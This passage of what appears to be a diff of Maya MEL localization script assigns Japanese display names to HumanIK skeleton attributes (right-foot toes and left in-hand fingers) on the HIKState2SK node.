+setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ROrder", "右足小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3SC", "右足小指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3IS", "右足小指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISx", "右足小指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISy", "右足小指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISz", "右足小指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreR", "右足小指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRx", "右足小指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRy", "右足小指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRz", "右足小指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostR", "右足小指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRx", "右足小指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRy", "右足小指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRz", "右足小指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4T", "右足小指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Tx", "右足小指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Ty", "右足小指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Tz", "右足小指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4R", "右足小指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Rx", "右足小指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Ry", "右足小指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Rz", "右足小指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4S", "右足小指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sx", "右足小指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sy", "右足小指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sz", "右足小指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PGX", "右足小指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ROrder", "右足小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4SC", "右足小指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4IS", "右足小指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISx", "右足小指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISy", "右足小指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISz", "右足小指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreR", "右足小指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRx", "右足小指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRy", "右足小指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRz", "右足小指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostR", "右足小指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRx", "右足小指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRy", "右足小指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRz", "右足小指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1T", "右足追加指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Tx", "右足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Ty", "右足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Tz", "右足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1R", "右足追加指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Rx", "右足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Ry", "右足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Rz", "右足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1S", "右足追加指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sx", "右足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sy", "右足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sz", "右足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PGX", "右足追加指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ROrder", "右足追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1SC", "右足追加指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1IS", "右足追加指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISx", "右足追加指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISy", "右足追加指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISz", "右足追加指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreR", "右足追加指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRx", "右足追加指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRy", "右足追加指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRz", "右足追加指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostR", "右足追加指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRx", "右足追加指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRy", "右足追加指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRz", "右足追加指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2T", "右足追加指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Tx", "右足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Ty", "右足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Tz", "右足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2R", "右足追加指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Rx", "右足追加指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Ry", "右足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Rz", "右足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2S", "右足追加指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sx", "右足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sy", "右足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sz", "右足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PGX", "右足追加指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ROrder", "右足追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2SC", "右足追加指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2IS", "右足追加指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISx", "右足追加指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISy", "右足追加指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISz", "右足追加指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreR", "右足追加指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRx", "右足追加指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRy", "右足追加指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRz", "右足追加指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostR", "右足追加指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRx", "右足追加指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRy", "右足追加指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRz", "右足追加指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3T", "右足追加指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Tx", "右足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Ty", "右足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Tz", "右足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3R", "右足追加指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Rx", "右足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Ry", "右足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Rz", "右足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3S", "右足追加指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sx", "右足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sy", "右足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sz", "右足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PGX", "右足追加指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ROrder", "右足追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3SC", "右足追加指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3IS", "右足追加指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISx", "右足追加指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISy", "右足追加指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISz", "右足追加指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreR", "右足追加指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRx", "右足追加指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRy", "右足追加指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRz", "右足追加指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostR", "右足追加指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRx", "右足追加指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRy", "右足追加指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRz", "右足追加指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4T", "右足追加指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Tx", "右足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Ty", "右足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Tz", "右足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4R", "右足追加指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Rx", "右足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Ry", "右足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Rz", "右足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4S", "右足追加指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sx", "右足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sy", "右足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sz", "右足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PGX", "右足追加指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ROrder", "右足追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4SC", "右足追加指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4IS", "右足追加指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISx", "右足追加指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISy", "右足追加指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISz", "右足追加指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreR", "右足追加指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRx", "右足追加指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRy", "右足追加指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRz", "右足追加指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostR", "右足追加指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRx", "右足追加指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRy", "右足追加指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRz", "右足追加指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbT", "左手内側の親指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTx", "左手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTy", "左手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTz", "左手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbR", "左手内側の親指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRx", "左手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRy", "左手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRz", "左手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbS", "左手内側の親指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSx", "左手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSy", "左手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSz", "左手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPGX", "左手内側の親指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbROrder", "左手内側,親指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSC", "左手内側の親指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbIS", "左手内側の親指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISx", "左手内側の親指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISy", "左手内側の親指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISz", "左手内側の親指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreR", "左手内側の親指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRx", "左手内側の親指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRy", "左手内側の親指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRz", "左手内側の親指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostR", "左手内側の親指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRx", "左手内側の親指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRy", "左手内側の親指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRz", "左手内側の親指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexT", "左手内側の人差指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTx", "左手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTy", "左手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTz", "左手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexR", "左手内側の人差指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRx", "左手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRy", "左手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRz", "左手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexS", "左手内側の人差指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSx", "左手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSy", "左手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSz", "左手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPGX", "左手内側の人差指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexROrder", "左手内側,人差指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSC", "左手内側の人差指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexIS", "左手内側の人差指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISx", "左手内側の人差指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISy", "左手内側の人差指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISz", "左手内側の人差指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreR", "左手内側の人差指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRx", "左手内側の人差指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRy", "左手内側の人差指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRz", "左手内側の人差指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostR", "左手内側の人差指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRx", "左手内側の人差指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRy", "左手内側の人差指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRz", "左手内側の人差指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleT", "左手内側の中指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTx", "左手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTy", "左手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTz", "左手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleR", "左手内側の中指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRx", "左手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRy", "左手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRz", "左手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleS", "左手内側の中指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSx", "左手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSy", "左手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSz", "左手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePGX", "左手内側の中指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleROrder", "左手内側,中指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSC", "左手内側の中指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleIS", "左手内側の中指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISx", "左手内側の中指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISy", "左手内側の中指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISz", "左手内側の中指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreR", "左手内側の中指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRx", "左手内側の中指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRy", "左手内側の中指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRz", "左手内側の中指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostR", "左手内側の中指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRx", "左手内側の中指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRy", "左手内側の中指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRz", "左手内側の中指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingT", "左手内側の薬指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTx", "左手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTy", "左手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTz", "左手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingR", "左手内側の薬指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRx", "左手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRy", "左手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRz", "左手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingS", "左手内側の薬指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSx", "左手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSy", "左手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSz", "左手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPGX", "左手内側の薬指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingROrder", "左手内側,薬指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSC", "左手内側の薬指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingIS", "左手内側の薬指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISx", "左手内側の薬指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISy", "左手内側の薬指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISz", "左手内側の薬指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreR", "左手内側の薬指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRx", "左手内側の薬指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRy", "左手内側の薬指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRz", "左手内側の薬指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostR", "左手内側の薬指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRx", "左手内側の薬指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRy", "左手内側の薬指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRz", "左手内側の薬指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyT", "左手内側の小指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTx", "左手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTy", "左手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTz", "左手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyR", "左手内側の小指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRx", "左手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRy", "左手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRz", "左手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyS", "左手内側の小指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySx", "左手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySy", "左手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySz", "左手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPGX", "左手内側の小指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyROrder", "左手内側,小指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySC", "左手内側の小指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyIS", "左手内側の小指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISx", "左手内側の小指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISy", "左手内側の小指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISz", "左手内側の小指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreR", "左手内側の小指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRx", "左手内側の小指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRy", "左手内側の小指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRz", "左手内側の小指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostR", "左手内側の小指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRx", "左手内側の小指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRy", "左手内側の小指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRz", "左手内側の小指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerT", "左手内側の追加指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTx", "左手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTy", "左手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTz", "左手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerR", "左手内側の追加指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRx", "左手内側の追加指 Rx" ); 